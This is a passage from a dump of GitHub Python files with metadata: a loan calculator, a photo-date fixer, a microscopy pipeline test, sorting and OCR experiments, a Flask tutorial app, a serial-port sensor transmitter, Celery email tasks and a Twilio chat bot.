mode:str = 'a'):\n with open(self.path, mode=mode, encoding='utf8') as o:\n if isinstance(data, str):\n if len(data.split(' ')) == 1:\n o.write(f'{data}\\t{morph}\\t{weight}\\n')\n elif isinstance(data, list):\n for d in data:\n if len(d.split(' ')) == 1:\n o.write(f'{d}\\t{morph}\\t{weight}\\n')\n self.setting()\n \n def lambda_kiwi_spacing(self, menu):\n result = self.kiwi.tokenize(menu)\n txt = []\n for token in result:\n if token.tag[0] == 'N':\n # print(f\"{token.form}\\t{token.tag}\")\n txt.append(token.form)\n return ' '.join(txt)","repo_name":"LeeJuHwan/beaverworks_hackerthon","sub_path":"FINAL/module/final.py","file_name":"final.py","file_ext":"py","file_size_in_byte":7339,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"29173261690","text":"#PRG1100-2022-Sticky\n\nfrom tkinter import*\n\ndef beregn_lan():\n if int(egenkapital.get())/int(kjopesum.get())>=0.35:\n lanetilsagn.set('Lån innvilges')\n else:\n lanetilsagn.set('Lån innvilges ikke')\n\n\nwindow=Tk()\n\n#Gir vinduet et navn\nwindow.title('Lånekalkulator billån')\n\n#Lager ledetekster (labels) for kjøpesum, egenkapital og lånetilsagn\nlbl_kjopesum=Label(window, text='Kjøpesum:')\nlbl_kjopesum.grid(row=0, column=0, padx=5,pady=5,sticky=E)#grid viser plassering for ordet\"kjøpesum\"\n\nlbl_egenkapital=Label(window, text='Egenkapital:')\nlbl_egenkapital.grid(row=1, column=0, padx=5, pady=5,sticky=E)\n\nlbl_lanetilsagn=Label(window, text='Lånetilsagn:')\nlbl_lanetilsagn.grid(row=3, column=0, padx=5,pady=5,sticky=E)\n\n#Vi lager inndatafelt(innskrivningsvinduer) for kjøpesum og egenkapital.\n\nkjopesum=StringVar()\nent_kjopesum=Entry(window, width=9, textvariable=kjopesum)\nent_kjopesum.grid(row=0, column=1, padx=5, pady=5,sticky=W)\n\negenkapital=StringVar()\nent_egenkapital=Entry(window, width=9, textvariable=egenkapital)\nent_egenkapital.grid(row=1, column=1, padx=5, pady=5,sticky=W)\n\n#Lager en knapp for å beregne lånetilsagnet\nbtn_beregn=Button(window, text='Beregn lånetilsagn',command=beregn_lan)#Her henter vi inn def beregn_lan\nbtn_beregn.grid(row=2, column=1, padx=5, pady=5,sticky=W)\n\n#Lager et utdatafelt (visningsfelt) for konklusjonen på lånetilsagnet\nlanetilsagn=StringVar()\nent_lanetilsagn=Entry(window, width=20, state='readonly', textvariable=lanetilsagn)\nent_lanetilsagn.grid(row=3, column=1, padx=5, pady=5,sticky=W)\n\n#en knapp for å avslutte vinduet\nbtn_avslutt=Button(window, text='Avslutt', command=window.destroy)\nbtn_avslutt.grid(row=5, column=1, padx=5, pady=25,sticky=E)\n\nwindow.mainloop()\n\n","repo_name":"Monosakkarider/USN","sub_path":"Python/2SEMESTER/6forelesning14022022/GUI1Semester.py","file_name":"GUI1Semester.py","file_ext":"py","file_size_in_byte":1750,"program_lang":"python","lang":"no","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"2496962246","text":"import os\nimport sys\nimport time\nimport filedate\nimport datetime\nimport piexif\n\n#--------------------------------------------------------------#\n#---------------------------- INIT ----------------------------#\n#--------------------------------------------------------------#\n\n# Get the files directory, given in parameter\nINPUT_DIR = \"./inputs/\" + sys.argv[1]\nOUTPUT_DIR = \"./outputs/\"\nOUTPUT_BAD_DATE_LOG = os.path.join(OUTPUT_DIR, \"output_bad_date.log\")\nOUTPUT_BAD_DATE_DATAS = os.path.join(OUTPUT_DIR, \"output_bad_date.csv\")\nOUTPUT_BAD_FORMAT_LOG = os.path.join(OUTPUT_DIR, \"output_bad_format.log\")\nOUTPUT_DATAS = os.path.join(OUTPUT_DIR, \"output.csv\")\nOUTPUT_VIDEO_LOG = os.path.join(OUTPUT_DIR, \"output_video.log\")\nOUTPUT_UPLOAD_LOG = os.path.join(OUTPUT_DIR, \"output_upload.log\")\nPROCESS_LOG = os.path.join(OUTPUT_DIR, \"processing.log\")\n# extensions compatibles google photos\nEXTENSIONS_PHOTO = [\"BMP\", \"GIF\", \"HEIC\", \"ICO\", \"JPG\", \"PNG\", \"TIFF\", \"WEBP\", \"RAW\", \"JPEG\"]\nEXTENSIONS_VIDEO = [\"3GP\", \"3G2\", \"ASF\", \"AVI\", \"DIVX\", \"M2T\", \"M2TS\", \"M4V\", \"MKV\", \"MMV\", \"MOD\", \"MOV\", \"MP4\", \"MPG\", \"MTS\", \"TOD\", \"WMV\"]\n\n# get the second argument if exist\nDO_UPDATES = (len(sys.argv) > 2 and sys.argv[2] == \"update\")\n\n# create output directory if not exist\nif not os.path.exists(OUTPUT_DIR):\n os.makedirs(OUTPUT_DIR)\n\n# clear output files if exist\nif os.path.exists(OUTPUT_BAD_DATE_LOG):\n os.remove(OUTPUT_BAD_DATE_LOG)\nif os.path.exists(OUTPUT_BAD_DATE_DATAS):\n os.remove(OUTPUT_BAD_DATE_DATAS)\nif os.path.exists(OUTPUT_BAD_FORMAT_LOG):\n os.remove(OUTPUT_BAD_FORMAT_LOG)\nif os.path.exists(OUTPUT_DATAS):\n os.remove(OUTPUT_DATAS)\nif os.path.exists(OUTPUT_VIDEO_LOG):\n os.remove(OUTPUT_VIDEO_LOG)\nif os.path.exists(PROCESS_LOG):\n os.remove(PROCESS_LOG)\n\n# Write headers\nwith open(OUTPUT_DATAS, \"a\") as f:\n f.write(\"path;album;description;date\\n\")\nwith open(OUTPUT_BAD_DATE_DATAS, \"a\") as f:\n f.write(\"path;album;bad_date;new_date\\n\")\n\n#--------------------------------------------------------------#\n#---------------------------- FUNC ----------------------------#\n#--------------------------------------------------------------#\n\ndef get_date(path, last_date, album):\n annee = album[:4]\n date_creation = os.path.getmtime(path)\n\n if date_creation is not None:\n date_creation = time.strftime(\"%Y-%m-%d %H:%M:%S\", time.gmtime(date_creation))\n\n # get year of date_creation\n year = date_creation.split(\"-\")[0]\n # CHECK YEAR\n if year != annee:\n bad_date_creation = date_creation\n log_msg = \"\"\n # set date at the last date if it is set\n if last_date and last_date.split(\"-\")[0] == annee:\n date_creation = last_date\n log_msg = year + \" != \" + annee + \"\\t|\\tSET TO \" + date_creation + \"(LAST DATE)\"\n else:\n if album[4] == \" \":\n date_creation = annee + \"-01-01 23:01:01\"\n elif album[4] == \"-\":\n date_creation = album[:6] + \"-01 23:01:01\"\n else:\n print(\"ERROR: album name not valid -> \" + album)\n sys.exit(1)\n log_msg = year + \" != \" + annee + \"\\t|\\tSET TO \" + date_creation\n # write log\n with open(OUTPUT_BAD_DATE_LOG, 'a') as f:\n f.write(path + \"\\n\\t\" + log_msg + \"\\n\\n\")\n # write csv bad date\n with open(OUTPUT_BAD_DATE_DATAS, 'a') as f:\n f.write(path + \";\" + album + \";\" + bad_date_creation + \";\" + date_creation + \"\\n\")\n\n return date_creation\n\ndef set_date(path, date):\n date_creation = os.path.getmtime(path)\n if date_creation is not None:\n date_creation = time.strftime(\"%Y-%m-%d %H:%M:%S\", time.gmtime(date_creation))\n \n if date_creation != date:\n new_date = datetime.datetime.strptime(date, \"%Y-%m-%d %H:%M:%S\")\n # set date\n if path.split(\".\")[-1].upper() in EXTENSIONS_PHOTO:\n exif_dict = piexif.load(path)\n # set date_creation\n exif_dict[\"0th\"][piexif.ImageIFD.DateTime] = new_date.strftime(\"%Y:%m:%d %H:%M:%S\")\n exif_dict[\"Exif\"][piexif.ExifIFD.DateTimeOriginal] = new_date.strftime(\"%Y:%m:%d %H:%M:%S\")\n exif_dict[\"Exif\"][piexif.ExifIFD.DateTimeDigitized] = new_date.strftime(\"%Y:%m:%d %H:%M:%S\")\n # save exif\n piexif.insert(piexif.dump(exif_dict), path)\n file_date = filedate.File(path)\n file_date.set(\n created = new_date.strftime(\"%Y.%m.%d %H:%M:%S\"),\n modified = new_date.strftime(\"%Y.%m.%d %H:%M:%S\"),\n accessed = new_date.strftime(\"%Y.%m.%d %H:%M:%S\")\n )\n\n\ndef save_file(path, album, last_date, description = \"\"):\n date = None\n extension = path.split(\".\")[-1].upper()\n if extension in EXTENSIONS_PHOTO or extension in EXTENSIONS_VIDEO:\n # check date\n date = get_date(path, last_date, album)\n if DO_UPDATES:\n set_date(path, date)\n # write infos in the data file\n with open(OUTPUT_DATAS, 'a') as f:\n f.write(path + \";\" + album + \";\" + description + \";\" + date + \"\\n\")\n return date\n else:\n # remove file\n os.remove(path)\n # write log\n with open(OUTPUT_BAD_FORMAT_LOG, 'a') as f:\n f.write(path + \"\\n\\t\" + album + \"\\n\\t\" + description + \"\\n\\n\")\n return last_date\n\n\n#--------------------------------------------------------------#\n#---------------------------- MAIN ----------------------------#\n#--------------------------------------------------------------#\n\n# get albums in the input directory\nalbums = []\nfor elt in os.listdir(INPUT_DIR):\n albums.append(elt)\n\n# order folder by number asc\nalbums.sort(key=lambda x: int(x[:4]))\n\nlast_date = \"0000-00-00 00:00:00\"\n\nfor index, album in enumerate(albums):\n with open(PROCESS_LOG, 'a') as log:\n log.write(\"Processing \\\"\" + album + \"\\\" -> \" + str(index + 1) + \"/\" + str(len(albums)) + \" ...\\n\")\n album_path = os.path.join(INPUT_DIR, album)\n number_of_files = sum([len(files) for r, d, files in os.walk(album_path)])\n counter = 1\n # parcour du dossier album\n for elt in os.listdir(album_path):\n elt_path = os.path.join(album_path, elt)\n # si c'est un fichier\n if os.path.isfile(elt_path):\n log.write(\"\\tProcessing \\\"\" + album + \"\\\" -> \" + str(index + 1) + \"/\" + str(len(albums)) + \" ... \" + str(counter) + \"/\" + str(number_of_files) + \"\\n\")\n # save file\n last_date = save_file(elt_path, album, last_date)\n counter += 1\n # si c'est un dossier\n else:\n for elt_elt in os.listdir(elt_path):\n elt_elt_path = os.path.join(elt_path, elt_elt)\n # si c'est un fichier\n if os.path.isfile(elt_elt_path):\n log.write(\"\\tProcessing \\\"\" + album + \"\\\" -> \" + str(index + 1) + \"/\" + str(len(albums)) + \" ... \" + str(counter) + \"/\" + str(number_of_files) + \"\\n\")\n # save file\n last_date = save_file(elt_elt_path, album, last_date, elt)\n counter += 1","repo_name":"SylvJalb/Disk-to-Google-Photos","sub_path":"preprocessing.py","file_name":"preprocessing.py","file_ext":"py","file_size_in_byte":7166,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"3769792172","text":"'''\nPipeline test 3\n'''\n\nimport os\nimport tempfile\nimport pytest\nimport cv2\nimport yaml\nimport numpy as np\n\nfrom click.testing import CliRunner\n\nimport lumos.toolbox\nimport lumos.generator\nimport lumos.config\nfrom lumoscli import cli\n\n\nconfig_relative_path = '../../lumos/default_lumos_config.yaml'\n\npackage_directory = os.path.dirname(os.path.abspath(__file__))\nconfig_absolute_path = os.path.join(package_directory, config_relative_path)\nwith open(config_absolute_path, 'r', encoding=\"utf-8\") as file:\n config = yaml.safe_load(file)\n\n\ndef test_cp_plate_pipeline():\n '''\n Test that the Cell-Painting operation mode of Lumos can return a valid image.\n '''\n\n with tempfile.TemporaryDirectory() as sourcedir, tempfile.TemporaryDirectory() as outputdir:\n\n # ACT\n\n plate_name = \"DestTestCP\"\n output_format = 'jpg'\n style = \"classic\"\n fill_value = 65535\n height = int(config['image_dimensions'].split('x', maxsplit=1)[0])\n width = int(config['image_dimensions'].rsplit('x', maxsplit=1)[-1])\n img = np.full((height, width, 1), fill_value, np.uint16)\n\n try:\n os.mkdir(sourcedir+'/'+plate_name)\n except FileExistsError:\n pass\n # save the fake images in the temp folder, one for each channel\n cv2.imwrite(\n f\"{sourcedir}/{plate_name}/{plate_name}_A01_T0001F001L01A01Z01C01.tif\",\n img,\n )\n cv2.imwrite(\n f\"{sourcedir}/{plate_name}/{plate_name}_A05_T0001F002L01A01Z01C02.tif\",\n img,\n )\n cv2.imwrite(\n f\"{sourcedir}/{plate_name}/{plate_name}_B21_T0001F003L01A01Z01C03.tif\",\n img,\n )\n cv2.imwrite(\n f\"{sourcedir}/{plate_name}/{plate_name}_I12_T0001F005L01A01Z01C04.tif\",\n img,\n )\n cv2.imwrite(\n f\"{sourcedir}/{plate_name}/{plate_name}_P24_T0001F006L01A01Z01C05.tif\",\n img,\n )\n\n # Run Lumos from CLI\n runner = CliRunner()\n result = runner.invoke(cli, ['cp', '--scope', 'plate', '--source-path', sourcedir+'/'+plate_name, '--output-path',\n outputdir, '--output-format', output_format, '--style', style, '--disable-logs'])\n\n # ASSERT\n\n # Assert that Lumos terminated without errors\n print(result.output)\n assert result.exit_code == 0\n\n # Assert that there is an output\n output_image_path = (\n f\"{outputdir}/{plate_name}-picasso-{style}.{output_format}\"\n )\n assert os.path.isfile(output_image_path)\n\n # Assert that the output can be opened\n try:\n output_image = cv2.imread(output_image_path)\n except Exception as exc:\n assert False, f\"Exception occurred when loading output image: {exc}\"\n\n # Assert that the output has the expected shape\n src_img_height = int(\n config['image_dimensions'].split('x', maxsplit=1)[0])\n src_img_width = int(\n config['image_dimensions'].rsplit('x', maxsplit=1)[-1])\n site_grid_row = int(config['site_grid'].split('x', maxsplit=1)[0])\n site_grid_col = int(config['site_grid'].rsplit('x', maxsplit=1)[-1])\n well_grid_row = int(config['well_grid'].split('x', maxsplit=1)[0])\n well_grid_col = int(config['well_grid'].rsplit('x', maxsplit=1)[-1])\n\n expected_height = int(\n src_img_height * config['rescale_ratio_cp_plate'] * site_grid_row * well_grid_row)\n expected_width = int(\n src_img_width * config['rescale_ratio_cp_plate'] * site_grid_col * well_grid_col)\n\n assert output_image.shape == (\n expected_height, expected_width, 3)\n\n # Uncomment the following line to save the generated test output:\n # cv2.imwrite(tempfile.gettempdir()+f\"/{plate_name}_output_\"+style+\".png\", output_image)\n","repo_name":"nicolasboisseau/lumos","sub_path":"tests/pipeline_tests/test_p03_cp.py","file_name":"test_p03_cp.py","file_ext":"py","file_size_in_byte":3897,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"76"} +{"seq_id":"29302328046","text":"from typing import List\n\n#左low 右をhighという引数を使ってint(要素番号)を戻り値とするpartitionのfunctionを作成\ndef partititon(numbers: List[int], low:int, high:int) -> int:\n #iはlow-1からスタートする\n i = low -1\n #pivotはnumbers[high]として定義\n pivot = numbers[high]\n #range(low, high)までをforでループ\n for j in range(low, high):\n #jの要素がpivot以下の時\n if numbers[j] <= pivot:\n #i+1とする(lowのindexを右に1つずらす)\n i += 1\n #numbers[i], numbers[j]を交換する\n numbers[i], numbers[j] = numbers[j], numbers[i]\n #最後にpivotの入っていたnumbers[high]とnumbers[i+1]を入れ替える\n numbers[i+1], numbers[high] = numbers[high], numbers[i+1]\n return i+1\n\n\n\n\n#quick_sortを定義, 変数名はnumbers def <関数名>(<変数名>:<型>) -><戻り値の型>:\ndef quick_sort(numbers: List[int]) -> List[int]:\n #inner関数を定義\n def _quick_sort(numbers: List[int], low:int, high:int) -> None:\n #inner関数の中でpartition関数を呼び出す\n #もしlowよりもhighが大きい場合partition_indexにindexを格納\n if low < high:\n #pertition関数を呼び出し(lowとhighの間の部分)要素番号\n partition_index = partititon(numbers, low, high)\n #partitionの左側の部分 partition_index-1がhighとなり_quick_sortを実行\n _quick_sort(numbers, low, partition_index-1)\n #partitionの右側の部分 partition_index+1がlowとなり_quick_sortを実行\n _quick_sort(numbers, partition_index +1, high)\n #初期はnumbers,lowは0 highはlen(numbers)-1 として渡す\n _quick_sort(numbers, 0, len(numbers)-1)\n return numbers\n\n\n\nif __name__ == '__main__':\n nums = [1, 8, 3, 9, 4, 5, 7]\n print(quick_sort(nums))\n","repo_name":"motokikando/code_algorithm","sub_path":"algo_memo/sort/quick.py","file_name":"quick.py","file_ext":"py","file_size_in_byte":1904,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"22226059639","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n__author__ = 'chenshuijin'\n\nfrom PIL import Image\nimport pytesseract\nfrom numpy import *\n\ndef simpleCode(f):\n image = Image.open(f)\n vcode = pytesseract.image_to_string(image)\n return vcode\n\ndef doubleCode(f):\n im = Image.open(f)\n im = im.convert('RGB')\n im = im.resize((200,80))\n a = array(im)\n for i in range(len(a)):\n for j in range(len(a[i])):\n if a[i][j][0] == 255:\n a[i][j]=[0,0,0]\n else:\n a[i][j] = [255,255,255]\n im = Image.fromarray(a)\n im.show()\n return pytesseract.image_to_string(im)\n\ndef devide():\n threshold = 140\n table = []\n for i in range(256):\n if i < threshold:\n table.append(0)\n else:\n table.append(1)\n return table\n\ndef devideCode(f):\n table = devide()\n im = Image.open(f)\n # convert to grey-scale map\n imgry = im.convert('L')\n # save image\n # imgry.save('g'+f)\n # devide\n out = imgry.point(table, '1')\n # out.save('b', f)\n text = pytesseract.image_to_string(out)\n return text\n\nprint ('-----simple code----')\nprint (simpleCode('./images/20169992024422.png'))\nprint (simpleCode('./images/7025.jpg'))\nprint (simpleCode('./images/5044.png'))\nprint (simpleCode('./images/6177.png'))\nprint ('-----double code----')\nprint (doubleCode('./images/20169992024422.png'))\nprint (doubleCode('./images/7025.jpg'))\nprint (doubleCode('./images/5044.png'))\nprint (doubleCode('./images/6177.png'))\nprint ('-----devide code----')\nprint (devideCode('./images/20169992024422.png'))\nprint (devideCode('./images/7025.jpg'))\nprint (devideCode('./images/5044.png'))\nprint (devideCode('./images/6177.png'))\n\nprint (Image.open('./images/7025.jpg'))\n","repo_name":"chenshuijin/py","sub_path":"pillow/google-ocr.py","file_name":"google-ocr.py","file_ext":"py","file_size_in_byte":1762,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"70002781046","text":"import os\n\nfrom flask import Flask\nimport os\n\nfrom multiprocessing import Pool\nfrom multiprocessing import cpu_count\nimport time\nimport os\n\n\ndef f(x):\n set_time = 1\n timeout = time.time() + 60*float(set_time) # X minutes from now\n while True:\n if time.time() > timeout:\n break\n x*x\n\ndef create_app(test_config=None):\n \"\"\"Create and configure an instance of the Flask application.\"\"\"\n app = Flask(__name__, instance_relative_config=True)\n app.config.from_mapping(\n # a default secret that should be overridden by instance config\n SECRET_KEY=\"dev\",\n # store the database in the instance folder\n DATABASE=os.path.join(app.instance_path, \"flaskr.sqlite\"),\n )\n\n if test_config is None:\n # load the instance config, if it exists, when not testing\n app.config.from_pyfile(\"config.py\", silent=True)\n else:\n # load the test config if passed in\n app.config.update(test_config)\n\n # ensure the instance folder exists\n try:\n os.makedirs(app.instance_path)\n except OSError:\n pass\n\n @app.route(\"/hello\")\n def hello():\n processes = cpu_count()\n print ('utilizing %d cores\\n' % processes)\n pool = Pool(processes)\n pool.map(f, range(processes))\n return \"Hello, World from V2!\"\n\n @app.route(\"/v2\")\n def v2():\n return \"Heya! This is a small update for V2!\"\n # register the database commands\n from flaskr import db\n\n db.init_app(app)\n\n # apply the blueprints to the app\n from flaskr import auth, blog\n\n app.register_blueprint(auth.bp)\n app.register_blueprint(blog.bp)\n\n # make url_for('index') == url_for('blog.index')\n # in another app, you might define a separate main index here with\n # app.route, while giving the blog blueprint a url_prefix, but for\n # the tutorial the blog will be the main index\n app.add_url_rule(\"/\", endpoint=\"index\")\n\n return app\n","repo_name":"bernardolsp/studies","sub_path":"forked-application/app/flaskr/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1961,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"71829584246","text":"import math\n\n\ndef func_cos(x, n):\n cos_approx = 0\n for i in range(n):\n coef = (-1) ** i\n num = x ** (2 * i)\n denom = math.factorial(2 * i)\n cos_approx += coef * (num / denom)\n\n return cos_approx\n\n\nprint(func_cos(31, 10))\n\"\"\"\nimport numpy as np\nvmysin = np.vectorize(mysin, excluded=['order'])\n\nx = np.linspace(-80, 80, 500)\ny2 = vmysin(x, 2)\ny10 = vmysin(x, 10)\ny100 = vmysin(x, 100)\ny1000 = vmysin(x, 1000)\ny = np.sin(x)\n\nimport matplotlib.pyplot as plt\nplt.plot(x, y, label='sin(x)')\nplt.plot(x, y2, label='order 2')\nplt.plot(x, y10, label='order 10')\nplt.plot(x, y100, label='order 100')\nplt.plot(x, y1000, label='order 1000')\nplt.ylim([-3, 3])\nplt.legend()\nplt.show()\n\"\"\"","repo_name":"kaiqueBellmont/Python_course_guppe","sub_path":"exercicios/exercicios_S8_guppe/27_taylor.py","file_name":"27_taylor.py","file_ext":"py","file_size_in_byte":712,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"37829765243","text":"import sys\nimport hashlib\nimport platform\nfrom subprocess import run, PIPE\n\n\nraw_platform = platform.platform()\n\nif raw_platform[0:5] == \"macOS\":\n PLATFORM = \"MACOS\"\nelif raw_platform[0:5] == \"Linux\":\n PLATFORM = \"LINUX\"\nelif raw_platform[0:7] == \"WINDOWS\":\n PLATFORM = \"WINDOWS\"\nelse:\n print(\"System Unknown\")\n sys.exit(1)\n\n\ndef get_sha1_file(path):\n if PLATFORM in [\"LINUX\",\"MACOS\"]:\n if PLATFORM == \"LINUX\":\n p = run([\"/usr/bin/shasum\", path], stdout=PIPE, stderr=PIPE)\n elif PLATFORM == \"MACOS\":\n p = run([\"/usr/bin/shasum\", \"-a\", \"1\", path], stdout=PIPE, stderr=PIPE)\n if p.returncode:\n print(\"Error processing file %s.\" % path)\n sys.exit(1)\n return p.stdout.decode(\"utf-8\").split(\" \")[0]\n else:\n BUF_SIZE = 65536 # lets read stuff in 64kb chunks!\n sha1 = hashlib.sha1()\n with open(sys.argv[1], 'rb') as f:\n while True:\n data = f.read(BUF_SIZE)\n if not data:\n break\n sha1.update(data)\n return sha1.hexdigest()\n\ndef get_sha1_var(data):\n sha1 = hashlib.sha1()\n sha1.update(data)\n return sha1.hexdigest()\n\n","repo_name":"llou/jmcollector","sub_path":"collector/crypto.py","file_name":"crypto.py","file_ext":"py","file_size_in_byte":1214,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"27687943311","text":"class MovingAverage(object):\n\n def __init__(self, size):\n \"\"\"\n Initialize your data structure here.\n :type size: int\n \"\"\"\n self.count = 0\n self.last = 0\n self.avg = 0 \n self.size = size\n\n def next(self, val):\n \"\"\"\n :type val: int\n :rtype: float\n \"\"\"\n if (self.count \", sumP)\n self.count+=1 \n self.avg = float(sumP/self.count)\n self.last = val\n else:\n sumP = (self.avg*self.size) - self.last + val\n print (\"Last, S=>\", (self.avg*self.size), sumP)\n self.avg = float(sumP/ self.size )\n self.last = val\n \n return self.avg\n\nm = MovingAverage(3)\nprint (m.next(1))\nprint (m.next(10))\nprint (m.next(3))\nprint (m.next(5))\n \n","repo_name":"akuchlous/leetcode","sub_path":"346.py","file_name":"346.py","file_ext":"py","file_size_in_byte":901,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"76"} +{"seq_id":"6741384127","text":"from celery import shared_task\nfrom django.core.mail import send_mail\nfrom django.conf import settings\n\n@shared_task\ndef send_welcome_email(email, first_name):\n subject = 'Добро пожаловать в наш проект!'\n message = f'Привет, {first_name}! Спасибо за регистрацию в нашем проекте.'\n send_mail(subject, message, settings.DEFAULT_FROM_EMAIL, [email])\n\n@shared_task\ndef send_reset_email(email, subject, message):\n send_mail(subject, message, settings.DEFAULT_FROM_EMAIL, [email])","repo_name":"Lettrt/LMS-system","sub_path":"account/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":550,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"18174298319","text":"'''\nCreated on 10.07.2022\n@author: Iva\n'''\nimport time\n#from future.backports.test.pystone import TRUE\nfrom K45Unit import GetCheckSum \nfrom K45Unit import CheckSumCheck \n\n\nclass SensorTransmitter(object):\n '''\n class transmits the needed Sensors file to K45 Module via UART (COM) port\n '''\n IndexTMH = 0 # The string number to be transmitted\n TMHLength = 0 # Total length of TMH. By default it is 0? after Sensor charackteristik is loaded it will be inited\n ProgressDone = 0 # [%]\n\n SensorReceptionAnswerLength = 8 # Telegram length in case common data transmition: 3-Start + 1-Commant + 1-Ok/NoK + 1-CheckSum + 3-End\n\n keSendSensor = 100\n keSensorComplete = 101\n\n CommandPlace = 3\n SubCommandPlace = 4\n\n keSimpleTelegram = 0\n keSensorLineReceived = 1\n\n\n '''\n Sensor data transmition\n '''\n def DataSensorLineSend(self, COMConnection):\n if (not COMConnection.isOpen() or not self.SensorReady or not self.Transmitting):\n return False\n else:\n try:\n if (self.IndexTMH < self.TMHLength):\n IndexByte1 = (self.IndexTMH >> 8) & 0xFF\n IndexByte2 = self.IndexTMH & 0xFF\n strCommand = ['b', 'e', 'g', self.keSendSensor, IndexByte1, IndexByte2, *self.AllTMH[self.IndexTMH]]\n CheckSum = GetCheckSum(strCommand)\n strCommand = [*strCommand,CheckSum, 'e', 'n', 'd']\n #print(\"Sensor:String to send:\") \n #print(strCommand)\n strCommandOut = []\n for SymByte in strCommand:\n if (type(SymByte) != int):\n SymByte = ord(SymByte)\n strCommandOut = [*strCommandOut, SymByte]\n #print(\"Sensor:ASCII telegram sent :\" ) \n #print(strCommandOut)\n \n COMConnection.write(strCommandOut)\n self.IndexTMH = self.IndexTMH + 1\n\n else:\n # The transmition complete\n strCommand = [ord('b'),ord('e'),ord('g'), self.keSensorComplete]\n CheckSum = GetCheckSum(strCommand)\n strCommand = [*strCommand,CheckSum, ord('e'), ord('n'), ord('d')]\n COMConnection.write(strCommand)\n #print(\"Sensor complete:\")\n #print(strCommand)\n\n self.TransmittingComplete = True\n self.Transmitting = False\n \n if (self.TMHLength > 0):\n self.ProgressDone = 100 * self.IndexTMH / self.TMHLength\n else:\n self.ProgressDone = 0\n\n out = []\n # let's wait one until the buffer fulfilling\n LimitCounter = 0\n while (COMConnection.inWaiting() < self.SensorReceptionAnswerLength) and (LimitCounter < 99):\n time.sleep(0.01)\n LimitCounter = LimitCounter + 1 \n \n if (LimitCounter >= 100):\n UnitEvailable = False\n return UnitEvailable\n \n # All string recept \n while COMConnection.inWaiting() > 0:\n out += COMConnection.read(1)\n \n if out != '':\n #print(out)\n return(self.receivedProcessing(out))\n\n UnitEvailable = True\n return UnitEvailable\n except Exception as e:\n print(\"Can't transmit:{}\\n\".format(str(e)))\n UnitEvailable = False\n return False\n\n '''\n Initialisation of Sensor transmition \n '''\n def SensorTxInit(self):\n self.IndexTMH = 0\n self.TransmittingComplete = False\n if (self.SensorReady):\n self.TMHLength = len(self.AllTMH)\n\n def receivedProcessing(self, inBuff):\n \n beg = ''.join([chr(n) for n in inBuff[:3]])\n \n end = ''.join([chr(n) for n in inBuff[(self.SensorReceptionAnswerLength - 3):]]) \n \n \n if beg != \"beg\" or end != \"end\":\n #print(\"Length = \" + str(len(inBuff)))\n \n beg = ''\n for x in range(len(inBuff[:3])):\n beg += chr(inBuff[x])\n \n #print(\"beg = \" + beg)\n # print(\"inBuff[22:24] = \" + inBuff[22:25].decode(\"utf-8\"))\n #print(\"Wrong data\")\n return False\n\n elif (len(inBuff) == self.SensorReceptionAnswerLength) and (inBuff[self.CommandPlace] == self.keSensorLineReceived) and CheckSumCheck(inBuff):\n return True\n else:\n #print(\"Length = \" + str(len(inBuff)))\n \n beg = ''\n for x in range(len(inBuff[:3])):\n beg += chr(inBuff[x])\n \n #print(\"beg = \" + beg)\n # print(\"inBuff[22:24] = \" + inBuff[22:25].decode(\"utf-8\"))\n #print(\"Wrong data\")\n return False\n\n\n def __init__(self, SensorFileDef):\n '''\n Constructor\n The Constructor receives file description\n '''\n try:\n f = open(SensorFileDef,'r')\n self.AllTMH = f.readlines()\n self.SensorReady = True\n self.SensorTxInit()\n except Exception as e:\n self.SensorReady = False\n self.Transmitting = False\n self.TransmittingComplete = False\n \n #print(\"File length \", len(AllTMH))\n ","repo_name":"ivatm/K45_PC","sub_path":"src/SensorTx.py","file_name":"SensorTx.py","file_ext":"py","file_size_in_byte":5671,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"32887207657","text":"import requests\nfrom flask import Flask, request\nfrom twilio.twiml.messaging_response import MessagingResponse\nimport mysql.connector\n\napp = Flask(__name__)\n\n\n@app.route('/bot', methods=['POST'])\ndef bot():\n # Adding a test comment\n incoming_msg = request.values.get('Body', '').lower()\n resp = MessagingResponse()\n msg = resp.message()\n responded = False\n if 'quote' in incoming_msg:\n # return a quote\n r = requests.get('https://api.quotable.io/random')\n if r.status_code == 200:\n data = r.json()\n quote = f'{data[\"content\"]} ({data[\"author\"]})'\n else:\n quote = 'I could not retrieve a quote at this time, sorry.'\n msg.body(quote)\n responded = True\n if 'cat' in incoming_msg:\n # return a cat pic\n msg.media('https://cataas.com/cat')\n responded = True\n if 'yes' in incoming_msg:\n # someone wnats to sign up\n print('Someone is in')\n msg.body('You have been added to the Mix In')\n responded = True\n if 'no' in incoming_msg:\n print('Your reservation has been deleted')\n if not responded:\n msg.body('I only know about famous quotes and cats, sorry!') \n return str(resp)\n\n\nif __name__ == '__main__':\n app.run()\n","repo_name":"artski84/LimpsfieldBot","sub_path":"bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":1287,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"23689737198","text":"\n# -- python imports --\nimport time,os\nfrom tqdm import tqdm\nimport numpy as np\nfrom einops import rearrange,repeat\nfrom easydict import EasyDict as edict\nfrom pathlib import Path\n\n# -- multiprocess experiments --\nfrom concurrent.futures import ProcessPoolExecutor as Pool\n# from multiprocessing import Pool\n\n# -- pytorch 